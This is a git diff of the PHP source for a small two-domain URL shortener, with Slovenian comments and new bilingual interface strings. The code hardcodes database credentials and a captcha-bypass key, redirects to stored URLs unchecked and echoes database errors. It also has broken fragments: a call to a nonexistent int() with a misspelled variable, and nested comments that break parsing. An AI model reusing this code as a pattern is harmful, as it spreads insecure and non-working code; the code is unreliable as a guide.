summaryrefslogtreecommitdiffstats
diff options
context:
space:
mode:
-rw-r--r--index.php464
1 files changed, 316 insertions, 148 deletions
diff --git a/index.php b/index.php
index 2d0324f..9397b89 100644
--- a/index.php
+++ b/index.php
@@ -1,67 +1,255 @@
<?php
-// OPOZORILA: PROGRAM MORA BITI NUJNO POD IMENOM index.php IN POGANJATI SE MORA POD Apache 2, ki podpria RewriteEngine, Imeti moraš SQL uporabnika in bazo,
-// .htaccess mora delati, potrebno je imeti dovoljenja za pisanje v mapo. .htaccess ob prvem zagonu ne sme
-// obstajati, naredi se sam. NUJNO MORATE SKOPIRATI MAPO securimage iz phpcaptcha.org/download/ zraven index.php, drugače captcha ne bo delala.
+// OPOZORILA: PROGRAM MORA BITI NUJNO POD IMENOM index.php IN POGANJATI SE MORA POD Apache 2, ki podpria RewriteEngine,
+// ali pa, še bolše, s HTTp strežnikom nginx (ker je boljši). Če uporabite Apache, uporabite .htacess datoteko, za nginx pa uporabite priložen nginx conf fajl.
+// Imeti moraš SQL uporabnika in bazo,
// (C) 2019 Anton Šijanec.
+// inštalacija potrebuje composer. inštalirajte required dependence (dapphp/securimage)
// Uporaba dovoljena za učenje in za nekomercijalne namene, brez zaslužkov in z navedbo avtorja. Hvala!
// exit("Balkan ŠortLink je v pripravi. Pripravljen bo čez okoli 2 dni. Anton Šijanec, Projekt začet 20. januarja, predviden čas začetka obratovanja storitve
-// je 23. januar 2019. Program bo odprtokoden in dostopen na mojem GitHubu, AstiriL!");
+// je 23. januar 2019. Program bo odprtokoden in dostopen na mojem GitHub.com/sijanec/balkan-shortlink!");
session_start();
clearstatcache();
-// ini_set('display_errors', 'On'); // debug
-// error_reporting(E_ALL); // debug
+// ini_set('display_errors', 'On'); //debug
+// error_reporting(E_ALL); //debug
$nadaljuj = "ja";
-include_once $_SERVER['DOCUMENT_ROOT'] . '/securimage/securimage.php';
+require_once $_SERVER['DOCUMENT_ROOT'] . '/vendor/autoload.php';
$securimage = new Securimage();
-$verzija = "0.0.19.01.21";
+$verzija = "0.1.19.09.18";
$log .= "Verzija: " . $verzija . "\n";
// definicije - uporabniškega vnosa ne preverjam, zato si ne naredite sql vrivanja (angl. sql injection) ali vrinjanja skript (ni htmlchars sanitizacije).
// drugače pa je program dokaj varen prej vrivanjem... upajmo... vsi ostali uporabniški vnosi so sanitizirani.
-$servername = "lol.u.though.i.will.show.a4l.space"; // domena, IP naslov oziroma ime gostitelja za dostop do MySQL ali ekvivalentne SQL podatkovne baze (strežnika)
-$username = "nofreesqlforyou"; // uporabniško ime za dostop do strežnika SQL
-$password = "donttrytoconnect"; // geslo za dostop do strežnika SQL
-$baza = "itdoesntwork"; // podatkovna baza SQL v katero naj pišem - naredi jo pred zagonom programa
-$tabela = "srslyitdoesnt"; // tabela, ki naj jo naredim v podatkovni bazi SQL oziroma tabela v podatkovni bazi SQL, ki naj jo uporabljam
-$rxshort = "/^[0-9a-z]{1,6}$/"; // angleško regular expression, ki naj ga uporabim za kratek niz - nujno popravi še besedilne opise. Pusti ga takega, kot je!
-$domena = "š.ga"; // tvoja domena
+$servername = "127.0.0.1"; // domena, IP naslov oziroma ime gostitelja za dostop do MySQL ali ekvivalentne SQL podatkovne baze (strežnika)
+$username = "shortlink"; // uporabniško ime za dostop do strežnika SQL
+$password = "pesvort"; // geslo za dostop do strežnika SQL
+$baza = "shortlink"; // podatkovna baza SQL v katero naj pišem - naredi jo pred zagonom programa
+$tabela = "links"; // tabela, ki naj jo naredim v podatkovni bazi SQL oziroma tabela v podatkovni bazi SQL, ki naj jo uporabljam
+$maxlenght = 9;
+$rxshort = "/^[0-9a-z]{1,".$maxlenght."}$/"; // angleško regular expression, ki naj ga uporabim za kratek niz - nujno popravi še besedilne opise. Pusti ga takega, kot je!
+$domena = $_SERVER['HTTP_HOST']; // tvoja domena
+switch($domena){
+ case "xn--pga.ga":
+ $domena = "š.ga";
+ break;
+ case "xn--oda.ga":
+ $domena = "÷.ga";
+ break;
+ case "xn--e1a.ga":
+ $domena = "е.ga";
+ break;
+}
$captcha = "ja"; // ja/ne: ali naj uporabljam captcho? potrebujete phpcaptcha.org, mapo securimage skopirajte zraven index.php (tega programa).
+$kljuc = "antoniolukas"; // api kljuc, da bi treba captche
+if($_SERVER['HTTP_HOST'] == "xn--pga.ga") {
+ $securimage_folder_missing = "securimage mapa z datotekami za captcho ne obstaja. Naložite jo iz phpcaptcha.org/download in jo postavite zraven index.php, ali pa spremenite
+ nastavitev captcha v konfiguracijah (definicije) iz ja na ne (ne priporočam).\n";
+ $dbconn_error = "<pre>Povezava v podatkovno bazo ni uspela. <!-- Razhroščevanje: ";
+ $dbconn_success = "Povezava v podatkovno bazo uspešna.\n";
+ $dbuse_success = "Izbira podatkovne baze uspešna.\n";
+ $dbuse_error = "Podatkovne baze ni bilo mogoče izbrati. <!-- Razhroščevanje: ";
+ $tableexists = "Tabela v podatkovni bazi obstaja. Program je že bil v uporabi.\n";
+ $tablenotexists = "Tabela v podatkovni bazi ne obstaja. Program je bil zagnan prvič. Poskusil jo bom narediti.\n";
+ $dbtablecreate_success = "Tabela v podatkovni bazi je bila uspešno narejena.\n";
+ $dbtablecreate_error = "<pre>Napaka v izdelavi tabele v podatkovni bazi! <!-- razhroščevanje: ";
+ $shortlink_notexists = "Kratek URL še ne obstaja v podatkovni bazi.\n";
+ $shortlink_notexists_ui = "<div class=alert>
+ <span class=closebtn onclick=this.parentElement.style.display='none';>&times;</span>
+<b>Napaka!</b> Kratek URL še ne obstaja v podatkovni bazi.
+</div><br>";
+ $form_sent = "Obrazec je bil izpolnjen, začenjam preverjanje vnosa.";
+ $captcha_error = "Preverjanje človeštva (CAPTCHA) je negativno. Mogoče niste človek, zato ne bom nadaljeval.";
+ $captcha_error_ui = "<div class=alert>
+ <span class=closebtn onclick=this.parentElement.style.display='none';>&times;</span>
+<b>Napaka preverjanja!</b> Preverjanje CAPTCHA je pokazalo negativni rezultat. Mogoče niste človek, zato ne bom nadaljeval.
+</div><br>";
+ $shortlinkregex_success = "Preverjanje krajšalnega niza je pozitivno. Krajševalni niz se lahko uporabi.\n";
+ $captcha_success = "Preverjanje človeštva (CAPTCHA) je pozitivno. Človek ste.";
+ $shortlinkregex_error = "Krajšalni niz se ne ujema z regexom " . $rxshort . ", zato ne bom nadaljeval.\n";
+ $shortlinkregex_error_ui = "<div class=alert>
+ <span class=closebtn onclick=this.parentElement.style.display='none';>&times;</span>
+<b>Napaka vnosa!</b> Krajševalni niz se ne ujema z njegovimi pravili. Mora biti 1 do ".$maxlenght." znakov dolg in lahko vsebuje male črke in številke.
+</div><br>";
+ $longurlregex_success = "Preverjanje dolgega URL-ja je pozitivno. Dolg URL se lahko uporabi.\n";
+ $longurlregex_error = "Preverjanje dolgega URL-ja je negativno, zato ne bom nadeljeval.\n";
+ $longurlregex_error_ui = "<div class=alert>
+ <span class=closebtn onclick=this.parentElement.style.display='none';>&times;</span>
+<b>Napaka vnosa!</b> Dolg URL se ne ujema z standardi. Poskusite ponovno. Posebni znaki v URL-ju (kot na primer š) morajo biti URL kodirani.
+</div><br>";
+ $longurl_too_long = "Dolg URL je predolg. Mora biti krajši od 767 bajtov, drugače lahko pride do napak v podatkovni bazi.\n";
+ $longurl_too_long_ui = "<div class=alert>
+ <span class=closebtn onclick=this.parentElement.style.display='none';>&times;</span>
+<b>Napaka vnosa!</b> URL je predolg. Mora biti krajši od 767 bajtov.
+</div><br>";
+ $longurl_not_too_long = "Dolg URL ni predolg. To je v redu.\n";
+ $shortlink_free_error_ui = "<div class=alert>
+ <span class=closebtn onclick=this.parentElement.style.display='none';>&times;</span>
+<b>Napaka!</b> Krajšalni tekst že obstaja v podatkovni bazi. Izberite drugega.
+</div><br>";
+ $shortlink_free_error = "Krajševalni tekst že obstaja v podatkovni bazi, zato ne morem nadaljevati.\n";
+ $shortlink_free = "Krajševalni tekst še ne obstaja v podatkovni bazi. To je v redu.\n";
+ $longurl_free_error_ui = "<div class=alert>
+ <span class=closebtn onclick=this.parentElement.style.display='none';>&times;</span>
+<b>Napaka!</b> Dolg URL že obstaja v podatkovni bazi. Nanj kaže <b>";
+ $longurl_free_error = "Dolg URL že obstaja v podatkovni bazi, zato ne morem nadaljevati.\n";
+ $longurl_free_success = "Dolg URL še ne obstaja v podatkovni bazi. To je v redu.\n";
+ $url_was_not_shortened_error = "URL ni bil okrajšan. Glej napake zgoraj!";
+ $unknown_database_error_ui = "<div class=alert>
+ <span class=closebtn onclick=this.parentElement.style.display='none';>&times;</span>
+<b>Sistemska napaka!</b> Neznana napaka podatkovne baze.
+</div><br>";
+ $unknown_database_error = "Neznana napaka podatkovne baze. Glej sistemske dnevnike.\n";
+ $shortlink_success_ui = "<div class=alertok>
+ <span class=closebtn onclick=this.parentElement.style.display='none';>&times;</span>
+<b>Uspešno!</b> Šortlink <b>".$domena."/".htmlspecialchars($_REQUEST['short'])."</b> je bil uspešno narejen!
+</div><br>";
+ $shortlink_success = "Šortlink ".$domena."/".htmlspecialchars($_REQUEST['short'])." je bil uspešno narejen!\n";
+ $form_not_sent = "Obrazec ni bil izpolnjen, zato samo prikazujem stran.\n";
+ $title = "ŠortLink Balkan š.ga";
+ $subtitle = "<h2 align=center>Ste kdaj hoteli narediti iz dolgega linka ŠortLink tako, da bi izgledal bolj balkansko?</h2>
+<h2 align=center>Tudi če niste, je tukaj ŠortLink Balkan, edini Link Šortener, namenjen predvsem slovanskim narodom, saj za njegovo uporabo potrebujete črko Š!</h2>
+<h3 align=center>Vsi Šortani linki se bodo začeli z š.ga, na primer š.ga/tekst. Najs ane?</h3>
+<h4 align=center>Šortlinker deluje v kooperaciji z ÷.ga šortlinkerjem (internacionalizirana verzija tega). Vsi šortani linki,
+izdelani na ÷.ga bodo delovali tudi na š.ga in obratno. Za angleško različico odprite <a href=https://÷.ga/>÷.ga</a>.</h4>";
+ $longurl_placeholder = "Vpiši dolg URL";
+ $shortexpression_placeholder = "Vpiši krajšalnico";
+ $captcha_placeholder = "Prepiši znake";
+ $submit_value = "Skrajšaj";
+ $insecure_warning = "OPOZORILO: Povezan si preko nešifrirane povezave.";
+ $secure_connection = "Varna povezava je vzpostavljena.";
+ $cookie_warning = "ŠortLink Balkan za svoje delovanje potrebuje in uporablja sejne piškotke. Z uporabo storitve se strinajte z shranjevanjem piškotkov
+v vaš brskalnik za največ 24 minut. Piškotek se uporablja samo za interni namen, torej za to, da izvemo katere črke si imel na preverjanju za ljudi (CAPTCHA)
+in nikakor ne za namene vohunjenja (tracking cookies). Piškotki so vidni samo na domeni š.ga, torej samo našemu strežniku. To sporočilo smo vam po veljavnem EU
+zakonu morali pokazati, ker sta Hrvaška in Slovenija v Evropski Uniji in morata zato upoštevati te <!--glupe --> zakone.";
+} else {
+ $securimage_folder_missing = "securimage folder missing";
+ $dbconn_error = "<pre>Connection to the database was not successful. <!-- Debug: ";
+ $dbconn_success = "Connection to the database was successful.\n";
+ $dbuse_success = "Database picked successfully.\n";
+ $dbuse_error = "Unable to pick database. <!-- Debug: ";
+ $tableexists = "Table in database already exists. Program was already ran.\n";
+ $tablenotexists = "Table in database does not exist yet. Program is now being ran for the first time. Trying to create table.\n";
+ $dbtablecreate_success = "Table in database was successfully created.\n";
+ $dbtablecreate_error = "<pre>Error while creating database table! <!-- debug: ";
+ $shortlink_notexists = "Shortlink is not present in the database yet.\n";
+ $shortlink_notexists_ui = "<div class=alert>
+ <span class=closebtn onclick=this.parentElement.style.display='none';>&times;</span>
+<b>Error!</b> Shortlink has not been created yet.
+</div><br>";
+ $form_sent = "Form received, starting sanitization.";
+ $captcha_error = "Anti Robot test (CAPTCHA) was not submitted correctly. Not continuing, maybe the client is a script.";
+ $captcha_error_ui = "<div class=alert>
+ <span class=closebtn onclick=this.parentElement.style.display='none';>&times;</span>
+<b>Input error!</b> Human test CAPTCHA reported a negative. Maybe you are not human, so I will not continue. Please, try again.
+</div><br>";
+ $shortlinkregex_success = "Shortlink is in the correct form. We can pass on.\n";
+ $captcha_success = "Captcha was successfully submitted. You are a human.";
+ $shortlinkregex_error = "Shortlink does not compile with regex " . $rxshort . ", so I will not continue.\n";
+ $shortlinkregex_error_ui = "<div class=alert>
+ <span class=closebtn onclick=this.parentElement.style.display='none';>&times;</span>
+<b>Input error!</b> Shortlink does not compile with the rules. It must be one to ".$maxlenght." characters long and can only
+contain lowercase letters and numbers.
+</div><br>";
+ $longurlregex_success = "Long URL regex check positive. Long URL can be used.\n";
+ $longurlregex_error = "Long URL regex check negative, so I will not continue.\n";
+ $longurlregex_error_ui = "<div class=alert>
+ <span class=closebtn onclick=this.parentElement.style.display='none';>&times;</span>
+<b>Input error!</b> Long URL does not compile with the rules. Try again. Special characters (such as š) have to be URL encoded.
+</div><br>";
+ $longurl_too_long = "Long URL is too long. It has to be shorter than 767 bytes, otherwise it can come to database errors.\n";
+ $longurl_too_long_ui = "<div class=alert>
+ <span class=closebtn onclick=this.parentElement.style.display='none';>&times;</span>
+<b>Input error!</b> URL is too long. It has to be shorter than 767 bytes.
+</div><br>";
+ $longurl_not_too_long = "Dolg URL ni predolg. To je v redu.\n";
+ $shortlink_free_error_ui = "<div class=alert>
+ <span class=closebtn onclick=this.parentElement.style.display='none';>&times;</span>
+<b>Error!</b> Shortlink already exists in our database. Pick something else.
+</div><br>";
+ $shortlink_free_error = "Shortlink already exists, so I can't continue.\n";
+ $shortlink_free = "Shortlink does not exist in the database yet, so we can continue. That is ok.\n";
+ $longurl_free_error_ui = "<div class=alert>
+ <span class=closebtn onclick=this.parentElement.style.display='none';>&times;</span>
+<b>Error!</b> Long URL is already present in database. This shortlink points to it: <b>";
+ $longurl_free_error = "Long URL is already present in the database, so I can't continue.\n";
+ $longurl_free_success = "Long URL is not yet present in our database. That is ok, I will continue.\n";
+ $url_was_not_shortened_error = "URL was not shortened. See errors above!";
+ $unknown_database_error_ui = "<div class=alert>
+ <span class=closebtn onclick=this.parentElement.style.display='none';>&times;</span>
+<b>System error!</b> Unknown database error.
+</div><br>";
+ $unknown_database_error = "Unknown database error, see system logs.\n";
+ $shortlink_success_ui = "<div class=alertok>
+ <span class=closebtn onclick=this.parentElement.style.display='none';>&times;</span>
+<b>Success!</b> Shortlink <b>".$domena."/".htmlspecialchars($_REQUEST['short'])."</b> was successfully created!
+</div><br>";
+ $shortlink_success = "Shortlink ".$domena."/".htmlspecialchars($_REQUEST['short'])." was successfully created!\n";
+ $form_not_sent = "Form was not sent, that is why I am just displaying the webpage.\n";
+ $title = "Division character shortlinker ÷.ga";
+ $subtitle = "<h2 align=center>Ever wanted a unique and cool shortlink?</h2>
+<h2 align=center>Even if you didn't, this shortlink servive is truly awesome. It uses a one letter domain ÷.ga which is
+accessible via a simple shortcut on all keyboard layouts.</h2>
+<h3 align=center>All shorted links will start with ÷.ga/, for example ÷.ga/text. Nice, huh?</h3>
+<h4 align=center>This service is cooperating with š.ga, balkan shortlinker that uses slavic letter š (š.ga). All links created there
+will work here as well and vice versa. Visit <a href=https://š.ga/>š.ga</a> for slovenian version.</h4>
+<h5 align=center>Note: we have noticed that some browsers show ÷ as xn--oda. This should not cause any problems.
+Typing ÷.ga/link will nonetheless still work as a regular shortlink.</h5>
+";
+ $longurl_placeholder = "Enter long URL";
+ $shortexpression_placeholder = "Enter short suffix (expression)";
+ $captcha_placeholder = "Retype characters from Captcha";
+ $submit_value = "Shorten";
+ $insecure_warning = "WARNING: You are connected via plaintext connection.";
+ $secure_connection = "Secure connection is established.";
+ $cookie_warning = "We use cookies. Not for evil purposes, just for storing your session information for about 24 minutes. And
+ we do respect your privacy. In fact they are only used to preserve information about captcha code generated in one request and
+ resubmitted in another. Captcha code (six letter jumble) does not contain any sensible information, trust me (-;";
+}
-// samoinštalacija - .htaccess ne sme obstajati ob prvem zagonu
+// samoinštalacija - .htaccess ne sme obstajati ob prvem zagonu (sicer se uporabi le v apache okolju)
+/*
if(!file_exists(".htaccess")) {
- $htaccess = "
+ $htaccess = "
RewriteEngine on
RewriteCond %{REQUEST_FILENAME} !-f
RewriteCond %{REQUEST_FILENAME} !-d
RewriteRule ^(.*)$ /index.php?r=$1 [NC,L,QSA]
- ";
- if(file_put_contents(".htaccess", $htaccess)) {
- exit("Program je bil verjetno zagnan prvič. Izdelava .htaccess je uspela.\n");
- } else {
- $log .= "Program je bil zagnan verjetno prvič. Izdelava .htaccess ni uspela. Popravi dovoljenja mape.\n";
- }
+ ";
+ if(file_put_contents(".htaccess", $htaccess)) {
+ exit("Program je bil verjetno zagnan prvič. Izdelava .htaccess je uspela.\n");
+ } else {
+ $log .= "Program je bil zagnan verjetno prvič. Izdelava .htaccess ni uspela. Popravi dovoljenja mape.\n";
+ }
+}
+
+if($_REQUEST['k'] == $kljuc) {
+ $_SESSION['k'] = $_REQUEST['k'];
}
-if($captcha !== "ne") {
-if(!file_exists("securimage")) {
- exit("securimage mapa z datotekami za captcho ne obstaja. Naložite jo iz phpcaptcha.org/download in jo postavite zraven index.php, ali pa spremenite
- nastavitev captcha v konfiguracijah (definicije) iz ja na ne (ne priporočam).\n");
+*/
+
+/*
+if($captcha !== "ne" && 1==0) {
+/*
+if(!file_exists("/securimage")) {
+ exit($securimage_folder_missing);
} else {
- // okejjjjj
+ // okejjjjj
}
+*/ // ne delamo več tko, zdej je composer
}
+*/
// sql povezava in izbira podatkovne baze
$conn = mysqli_connect($servername, $username, $password, $baza); // naredi povezavo
if (!$conn) { // preveri povezavo
- die("<pre>Povezava v podatkovno bazo ni uspela. <!-- Razhroščevanje: " . mysqli_connect_error() . "-->\n</pre>");
-}
-$log .= "Povezava v podatkovno bazo uspešna.\n";
+ die($dbconn_error . mysqli_connect_error() . "-->\n</pre>");
+}
+$log .= $dbconn_success;
if(mysqli_select_db($conn,$baza)) {
- $log .= "Izbira podatkovne baze uspešna.\n";
+ $log .= $dbuse_success;
} else {
- die("Podatkovne baze ni bilo mogoče izbrati. <!-- Razhroščevanje: " . mysqli_error($conn) . "-->\n");
+ die($dbuse_error . mysqli_error($conn) . "-->\n");
}
@@ -71,44 +259,43 @@ if(mysqli_select_db($conn,$baza)) {
//poglej če tabela links obstaja
$alitabelaobstaja = mysqli_query($conn, 'SELECT 1 from `'.$tabela.'`');
if($alitabelaobstaja !== FALSE) {
- $log .= "Tabela v podatkovni bazi obstaja. Program je že bil v uporabi.\n";
+ $log .= $tableexists;
} else {
// ne - naredi jo!
- $log .= "Tabela v podatkovni bazi ne obstaja. Program je bil zagnan prvič. Poskusil jo bom narediti.\n";
+ $log .= $tablenotexists;
$sql = "CREATE TABLE IF NOT EXISTS `".$tabela."` (
- `short` varchar(10) COLLATE utf8_unicode_ci NOT NULL,
+ `short` varchar(".int($maxlength) + 1.") COLLATE utf8_unicode_ci NOT NULL,
`long` text(767) COLLATE utf8_unicode_ci NOT NULL,
PRIMARY KEY (`short`)
) ENGINE=MyISAM DEFAULT CHARSET=utf8 COLLATE=utf8_unicode_ci";
if (mysqli_query($conn, $sql)) {
- $log .= "Tabela v podatkovni bazi je bila uspešno narejena.\n";
+ $log .= $dbtablecreate_success;
} else {
- die("<pre>Napaka v izdelavi tabele v podatkovni bazi! <!-- razhroščevanje: " . mysqli_error($conn) . "-->\n</pre>");
+ die($dbtablecreate_error . mysqli_error($conn) . "-->\n</pre>");
}
}
-//če je potrebna preusmeritev (glej .htaccess, pa ti bo jasno)
+//če je potrebna preusmeritev
if(!empty($_REQUEST['r'])) {
- // preveri, če dolg niz že obstaja
+ // preveri, če dolg niz že obstaja
+
$safer = mysqli_real_escape_string($conn, $_REQUEST['r']);
-// echo $safer; //debug
+// joj kaj je to sranje
+// echo $safer; //debug-ne, ker xss
$query = "SELECT `long` from `".$tabela."` where `short`='".$safer."';";
$result = mysqli_query($conn, $query);
echo mysqli_error($conn); //debug
if(mysqli_num_rows($result) > 0) {
- // echo array_pop(mysqli_fetch_row($result); //debug //to je to!
- $dolgkiobstaja = array_pop(mysqli_fetch_row($result)); //to je to!
- // ŠortLink obstaja, preusmerjam!
- header("Location: ".$dolgkiobstaja);
+ // echo array_pop(mysqli_fetch_row($result); //debug //to je to!
+ $dolgkiobstaja = array_pop(mysqli_fetch_row($result)); //to je to!
+ // ŠortLink obstaja, preusmerjam!
+ header("Location: ".$dolgkiobstaja);
} else {
- $log .= "Kratek URL še ne obstaja v podatkovni bazi.\n";
- $alert .= "<div class=alert>
- <span class=closebtn onclick=this.parentElement.style.display='none';>&times;</span>
-<b>Napaka!</b> Kratek URL še ne obstaja v podatkovni bazi.
-</div><br>";
+ $log .= $shortlink_notexists;
+ $alert .= $shortlink_notexists_ui;
}
}
@@ -116,59 +303,46 @@ if(mysqli_num_rows($result) > 0) {
// če je zahteva za vpis, vpiši!
if(!empty($_REQUEST['submit'])) {
- $log .= "Obrazec je bil izpolnjen, začenjam preverjanje vnosa.";
-
-
-
-if($captcha !== "ne") {
- if ($securimage->check($_POST['captcha_code']) == false) {
- $log .= "Preverjanje človeštva (CAPTCHA) je negativno. Mogoče niste človek, zato ne bom nadaljeval.";
- $alert .= "<div class=alert>
- <span class=closebtn onclick=this.parentElement.style.display='none';>&times;</span>
-<b>Napaka preverjanja!</b> Preverjanje CAPTCHA je pokazalo negativni rezultat. Mogoče niste človek, zato ne bom nadaljeval.
-</div><br>";
+ $log .= $form_sent;
+
+
+if($captcha !== "ne" && $_REQUEST['k'] !== $kljuc && $_SESSION['k'] !== $kljuc) {
+ if ($securimage->check($_POST['captcha_code']) == false) {
+ $log .= $captcha_error;
+ $alert .= $captcha_error_ui;
$nadaljuj = "ne";
} else {
- $log .= "Preverjanje človeštva (CAPTCHA) je pozitivno. Človek ste.";
+ $log .= $captcha_success;
}
}
// regex match kratkega niza
if(preg_match($rxshort, $_REQUEST['short'])) {
- $log .= "Preverjanje krajšalnega niza je pozitivno. Krajševalni niz se lahko uporabi.\n";
+ $log .= $shortlinkregex_success;
} else {
- $log .= "Krajšalni niz se ne ujema z regexom " . $rxshort . ", zato ne bom nadaljeval. \n";
- $nadaljuj = "ne";
- $alert .= "<div class=alert>
- <span class=closebtn onclick=this.parentElement.style.display='none';>&times;</span>
-<b>Napaka vnosa!</b> Krajševalni niz se ne ujema z njegovimi pravili. Mora biti 1 do 6 znakov dolg in lahko vsebuje male črke in številke.
-</div><br>";
+ $log .= $shortlinkregex_error;
+ $nadaljuj = "ne";
+ $alert .= $shortlinkregex_error_ui;
}
// preverjanje, ce je res URL
if(filter_var($_REQUEST['long'], FILTER_VALIDATE_URL)) {
- $log .= "Preverjanje dolgega URL-ja je pozitivno. Dolg URL se lahko uporabi.\n";
+ $log .= $longurlregex_success;
} else {
- $log .= "Preverjanje dolgega URL-ja je negativno, zato ne bom nadeljeval.\n";
- $nadaljuj = "ne";
- $alert .= "<div class=alert>
- <span class=closebtn onclick=this.parentElement.style.display='none';>&times;</span>
-<b>Napaka vnosa!</b> Dolg URL se ne ujema z standardi. Poskusite ponovno. Posebni znaki v URL-ju (kot na primer š) morajo biti URL kodirani.
-</div><br>";
+ $log .= $longurlregex_error;
+ $nadaljuj = "ne";
+ $alert .= $longurlregex_error_ui;
}
// preprecevanje sql prekoračitve
if(strlen($_REQUEST['long']) > 767) { //strlen pove bajte, mb_strlen pove dolžino niza
- $log .= "Dolg URL je predolg. Mora biti krajši od 767 bajtov, drugače lahko pride do napak v podatkovni bazi.\n";
- $nadaljuj = "ne";
- $alert .= "<div class=alert>
- <span class=closebtn onclick=this.parentElement.style.display='none';>&times;</span>
-<b>Napaka vnosa!</b> URL je predolg. Mora biti krajši od 767 bajtov.
-</div><br>"; //drugače lahko pride do napak v SQL bazi podatkov
+ $log .= $longurl_too_long;
+ $nadaljuj = "ne";
+ $alert .= $longurl_too_long_ui; //drugače lahko pride do napak v SQL bazi podatkov
} else {
- $log .= "Dolg URL ni predolg. To je v redu.\n";
+ $log .= $longurl_not_too_long;
}
if($nadaljuj == "ja") { //nadaljuj z sql stvarmi, samo, če so zgornji pogoji zadostni
@@ -178,14 +352,11 @@ $safeshort = mysqli_real_escape_string($conn, $_REQUEST['short']);
$query = "SELECT * from `".$tabela."` where `short`='".$safeshort."';";
$result = mysqli_query($conn, $query);
if(mysqli_num_rows($result) > 0) {
- $alert .= "<div class=alert>
- <span class=closebtn onclick=this.parentElement.style.display='none';>&times;</span>
-<b>Napaka!</b> Krajšalni tekst že obstaja v podatkovni bazi. Izberite drugega.
-</div><br>";
- $log .= "Krajševalni tekst že obstaja v podatkovni bazi, zato ne morem nadaljevati.\n";
- $nadaljuj = "ne";
+ $alert .= $shortlink_free_error_ui;
+ $log .= $shortlink_free_error;
+ $nadaljuj = "ne";
} else {
- $log .= "Krajševalni tekst še ne obstaja v podatkovni bazi. To je v redu.\n";
+ $log .= $shortlink_free;
}
// preveri, če dolg niz že obstaja
@@ -193,19 +364,17 @@ $safelong = mysqli_real_escape_string($conn, $_REQUEST['long']);
$query = "SELECT `short` from `".$tabela."` where `long`='".$safelong."';";
$result = mysqli_query($conn, $query);
if(mysqli_num_rows($result) > 0) {
- // echo array_pop(mysqli_fetch_row($result); //debug //to je to!
- $kratekkiobstaja = array_pop(mysqli_fetch_row($result)); //to je to!
- $alert .= "<div class=alert>
- <span class=closebtn onclick=this.parentElement.style.display='none';>&times;</span>
-<b>Napaka!</b> Dolg URL že obstaja v podatkovni bazi. Nanj kaže <b>".$domena."/".htmlspecialchars($kratekkiobstaja)."</b>
+ // echo array_pop(mysqli_fetch_row($result); //debug //to je to!
+ $kratekkiobstaja = array_pop(mysqli_fetch_row($result)); //to je to!
+ $alert .= $longurl_free_error_ui.$domena."/".htmlspecialchars($kratekkiobstaja)."</b>
</div><br>";
- $log .= "Dolg URL že obstaja v podatkovni bazi, zato ne morem nadaljevati.\n";
- $nadaljuj = "ne";
+ $log .= $longurl_free_error;
+ $nadaljuj = "ne";
} else {
- $log .= "Dolg URL še ne obstaja v podatkovni bazi. To je v redu.\n";
+ $log .= $longurl_free_success;
}
- /*
+ /*
//idk ne dela -- v redu, vem zakaj: podpičje manjka! jaoooo in še `'" jaooooo sql nima ", ' je za nize, ` je za stolpce, tabele,...
$prepared = mysqli_prepare($conn, "SELECT * FROM ".$tabela." WHERE short=?");
// var_dump(mysqli_error($conn)); //debug
@@ -220,14 +389,14 @@ echo $fetched; //debug
$result = mysqli_query($conn, $prepared);
echo mysqli_error($conn); //debug
if(mysqli_num_rows($result) == 0) {
- $log .= "Krajševalni tekst še ne obstaja v podatkovni bazi. To je v redu.\n";
+ $log .= "Krajševalni tekst še ne obstaja v podatkovni bazi. To je v redu.\n";
} else {
- $alert .= "<div class=alert>
- <span class=closebtn onclick=this.parentElement.style.display='none';>&times;</span>
+ $alert .= "<div class=alert>
+ <span class=closebtn onclick=this.parentElement.style.display='none';>&times;</span>
<b>Napaka!</b> Krajšalni tekst že obstaja v podatkovni bazi. Izberite drugega.
</div><br>";
- $log .= "Krajševalni tekst že obstaja v podatkovni bazi, zato ne morem nadaljevati.\n";
- $nadaljuj = "ne";
+ $log .= "Krajševalni tekst že obstaja v podatkovni bazi, zato ne morem nadaljevati.\n";
+ $nadaljuj = "ne";
}
//preverjanje, če krajševalni niz že obstaja
@@ -236,14 +405,14 @@ $prepared = mysqli_prepare($conn, "SELECT * FROM ".$tabela." WHERE long=?");
mysqli_stmt_bind_param($prepared, "s", $_REQUEST['long']);
$result = mysqli_query($conn);
if(mysqli_num_rows($result) == 0) {
- $log .= "Dolg URL še ne obstaja v podatkovni bazi. To je v redu.\n";
+ $log .= "Dolg URL še ne obstaja v podatkovni bazi. To je v redu.\n";
} else {
- $alert .= "<div class=alert>
- <span class=closebtn onclick=this.parentElement.style.display='none';>&times;</span>
+ $alert .= "<div class=alert>
+ <span class=closebtn onclick=this.parentElement.style.display='none';>&times;</span>
<b>Napaka!</b> Dolg URL že obstaja v podatkovni bazi. Nanj vodi <b>".$domena."/".htmlspecialchars($result)."</b>.
</div><br>";
- $log .= "Dolg URL že obstaja v podatkovni bazi, zato ne morem nadaljevati. Nanj vodi ".$domena."/".htmlspecialchars($result).".\n";
- $nadaljuj = "ne";
+ $log .= "Dolg URL že obstaja v podatkovni bazi, zato ne morem nadaljevati. Nanj vodi ".$domena."/".htmlspecialchars($result).".\n";
+ $nadaljuj = "ne";
}
*/
}
@@ -252,48 +421,40 @@ if(mysqli_num_rows($result) == 0) {
if($nadaljuj !== "ja") {
- $log .= "URL ni bil okrajšan. Glej napake zgoraj!";
+ $log .= $url_was_not_shortened_error;
} else {
$query = "INSERT INTO `".$tabela."` (`short`, `long`) VALUES ('".$safeshort."','".$safelong."');";
$result = mysqli_query($conn, $query);
// var_dump(mysqli_error($conn)); //debug
- //preveri uspeh
+ //preveri uspeh
$query = "SELECT * FROM `".$tabela."` WHERE `short`='".$safeshort."';";
$result = mysqli_query($conn, $query);
if(mysqli_num_rows($result) == 0) {
- // var_dump(mysqli_error($conn)); //debug
- $alert .= "<div class=alert>
- <span class=closebtn onclick=this.parentElement.style.display='none';>&times;</span>
-<b>Sistemska napaka!</b> Neznana napaka podatkovne baze.
-</div><br>";
- $log .= "Neznana napaka podatkovne baze. Glej sistemske dnevnike.\n";
+ // var_dump(mysqli_error($conn)); //debug
+ $alert .= $unknown_database_error_ui;
+ $log .= $unknown_database_error;
} else {
- $alert .= "<div class=alertok>
- <span class=closebtn onclick=this.parentElement.style.display='none';>&times;</span>
-<b>Uspešno!</b> Šortlink <b>".$domena."/".htmlspecialchars($_REQUEST['short'])."</b> je bil uspešno narejen!
-</div><br>";
- $log .= "Šortlink ".$domena."/".htmlspecialchars($_REQUEST['short'])." je bil uspešno narejen!\n";
-
+ $alert .= $shortlink_success_ui;
+ $log .= $shortlink_success;
+
}
-
-
- }
